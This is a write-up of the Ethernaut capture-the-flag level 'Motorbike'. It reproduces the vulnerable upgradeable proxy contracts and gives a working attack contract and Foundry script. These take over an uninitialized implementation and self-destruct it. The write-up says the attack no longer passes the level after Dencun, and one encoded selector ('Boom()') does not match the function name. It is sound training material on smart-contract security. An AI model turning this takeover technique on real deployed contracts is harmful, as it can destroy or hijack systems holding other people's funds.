The Ethernaut CTF Solutions | 25 - Motorbike

The Ethernaut CTF Solutions | 25 - Motorbike

Engineering an Exit: Overcoming Upgrade Barriers in the Motorbike Challenge

ยท

5 min read

Goals

The Contract

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

// import "openzeppelin-contracts-06/utils/Address.sol";
// import "openzeppelin-contracts-06/proxy/Initializable.sol";
import {Address} from "../helpers/Address.sol";
import {Initializable} from "@openzeppelin/contracts/proxy/utils/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT =
        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(
            Address.isContract(_logic),
            "ERC1967: new implementation is not a contract"
        );
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success, ) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(
                gas(),
                implementation,
                0,
                calldatasize(),
                0,
                0
            )
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`.
    // Will run if no other function in the contract matches the call data
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(
        bytes32 slot
    ) internal pure returns (AddressSlot storage r) {
        assembly {
            r.slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT =
        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success, ) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(
            Address.isContract(newImplementation),
            "ERC1967: new implementation is not a contract"
        );

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

The hack

Dencun upgrade (Feb 2024)

NOTE: The "old" solution for this challenge is not working anymore since the Dencun upgrade. The issue comes from the new behavior of the selfdestruct opcode which doesn't remove the contract's bytecode unless the contract is created AND self-destructed in the same transaction. See EIP6780.

Contract Self Destructed, but was later reinitalized with new ByteCode

However, according to this github thread, it seems that it is still doable: OpenZeppelin/ethernaut#701

I will update if I crack it. For information purposes, I have kept the old solution below.

Old solution

In order to self-destruct the Engine contract, we need to upgrade it to a new implementation since there is no selfdestruct() in this one. We can call the upgradeToAndCall() function for that, but we first need to become the upgrader inside the Engine contract to pass the _authorizeUpgrade() access check.

function _authorizeUpgrade() internal view {
    require(msg.sender == upgrader, "Can't upgrade");
}

There is no way to do that by calling the Motorbike contract directly. But, we see that the Motorbike contract is using a delegatecall to initialize the Engine contract. This means that, as far as the Engine knows, Engine::upgrader hasn't been set yet (still address(0)), so we can call the initialize() function from our exploit contract directly.

Let's get the current Engine implementation address:

  • In your Ethernaut browser console:
await web3.eth.getStorageAt(
  instance,
  "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
  // => 0x000000000000000000000000239bcf976042946e51690c2de9fea5d017eb282c
  // => 0x239bcf976042946e51690c2de9fea5d017eb282c
);
  • In Foundry using forge:
address engine = address(
            uint160(
                uint256(
                    vm.load(
                        motorbikeInstance,
                        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
                    )
                )
            )
        );

Then, we can upgrade the Engine contract to a new implementation address with the upgradeToAndCall() function and call the boom() function to self-destruct it.

Solution

Let's implement the code accordingly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IEngine {
    function initialize() external;
    function upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) external payable;
}

contract Bicycle {
    IEngine private immutable engine;

    constructor(address _engine) {
        engine = IEngine(_engine);
    }

    function attack() public {
        // 1. Initialize the engine contract
        engine.initialize();
        // 2. Upgrade the engine contract to a new implementation and kill it
        engine.upgradeToAndCall(
            address(this),
            abi.encodeWithSignature("Boom()")
        );
    }

    function boom() external {
        selfdestruct(payable(msg.sender));
    }
}

Here is the deployment script for convenience:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Bicycle} from "../src/25_Motorbike.sol";

contract PoC is Script {
    // Replace with your Motorbike instance
    address private immutable motorbike =
        0x72DDB3C8b89C235a6368DC094066e21AbE8759Cc; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        address engineAddress = address(
            uint160(
                uint256(
                    vm.load(
                        motorbike,
                        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
                    )
                )
            )
        );

        console2.log("Engine address: ", engineAddress);

        Bicycle bicycle = new Bicycle(engineAddress);
        bicycle.attack();

        vm.stopBroadcast();
    }
}

You can run the script with the following command:

forge script script/25_Motorbike.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

However, you will get this since the Dencun upgrade and won't pass this level:

๐ŸŽ‰ Level not completed ๐ŸŽ‰

Takeaway

  • UUPS Proxies are better than the older EIP-1967 proxies but must be carefully implemented.

  • Sensitive functions such as contract upgrades should be protected by access control.


You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย